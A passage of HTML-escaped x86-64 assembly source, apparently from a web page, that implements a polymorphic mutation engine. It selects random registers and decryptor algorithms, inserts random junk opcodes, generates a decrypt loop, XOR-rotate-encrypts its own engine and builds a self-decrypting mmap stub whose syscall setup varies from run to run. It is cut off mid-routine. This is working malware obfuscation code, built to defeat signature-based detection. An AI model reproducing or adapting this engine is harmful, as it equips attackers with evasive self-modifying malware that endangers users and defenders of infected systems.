    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;                                 &lt;span class="c1"&gt;; select random registers&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;set_al&lt;/span&gt;                                 &lt;span class="c1"&gt;; pick decrypt algorithm&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_p&lt;/span&gt;                                  &lt;span class="c1"&gt;; generate prologue&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;                                 &lt;span class="c1"&gt;; random junk insertion&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_pr&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;

&lt;span class="nl"&gt;.skip_pr:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_dummy&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_dummy&lt;/span&gt;

&lt;span class="nl"&gt;.skip_dummy:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_dec&lt;/span&gt;                                &lt;span class="c1"&gt;; main decrypt loop&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_prc&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;

&lt;span class="nl"&gt;.skip_prc:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                 &lt;span class="c1"&gt;; conditional jump back&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.skip_jmp&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JNZ_LONG&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

&lt;span class="nl"&gt;.skip_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; encrypt generated engine&lt;/span&gt;
&lt;span class="nl"&gt;enc_bin:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;; validate engine size&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;

    &lt;span class="c1"&gt;; encrypt in place&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

&lt;span class="nl"&gt;.enc_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.enc_done&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;dec&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.enc_loop&lt;/span&gt;

&lt;span class="nl"&gt;.enc_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; build stub wrapper&lt;/span&gt;
&lt;span class="nl"&gt;unpack_stub:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;bf_boo&lt;/span&gt;                                 &lt;span class="c1"&gt;; bounds check&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.stub_flow&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_stub_mmap&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_decrypt&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_trash&lt;/span&gt;

    &lt;span class="c1"&gt;; update size after junk&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="c1"&gt;; check space for encrypted engine&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.stub_flow&lt;/span&gt;

    &lt;span class="c1"&gt;; embed encrypted engine&lt;/span&gt;
    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_embed&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;movsb&lt;/span&gt;

&lt;span class="nl"&gt;.skip_embed:&lt;/span&gt;
    &lt;span class="c1"&gt;; final size calculation&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.stub_flow:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate stub junk&lt;/span&gt;
&lt;span class="nl"&gt;stub_trash:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;                                  &lt;span class="c1"&gt;; 0-7 junk instructions&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.no_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.trash_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;                                  &lt;span class="c1"&gt;; choose junk type&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_nop&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_push_pop&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_xor_self&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_mov_reg&lt;/span&gt;

&lt;span class="nl"&gt;.gen_nop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.next_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.gen_push_pop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;                                &lt;span class="c1"&gt;; push rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;                                &lt;span class="c1"&gt;; pop rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.next_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.gen_xor_self:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.w&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;                                &lt;span class="c1"&gt;; xor rax,rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.next_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.gen_mov_reg:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.w&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;                                &lt;span class="c1"&gt;; mov rax,rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.next_garbage:&lt;/span&gt;
    &lt;span class="nf"&gt;loop&lt;/span&gt; &lt;span class="nv"&gt;.trash_loop&lt;/span&gt;

&lt;span class="nl"&gt;.no_garbage:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate mmap syscall stub&lt;/span&gt;
&lt;span class="nl"&gt;gen_stub_mmap:&lt;/span&gt;
    &lt;span class="c1"&gt;; mmap setup&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;                                  &lt;span class="c1"&gt;; choose method&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_0&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_1&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_3&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rax, 9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;                                  &lt;span class="c1"&gt;; mmap syscall&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mm_continue&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_1:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor rax,rax; add rax,9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x83&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mm_continue&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_2:&lt;/span&gt;
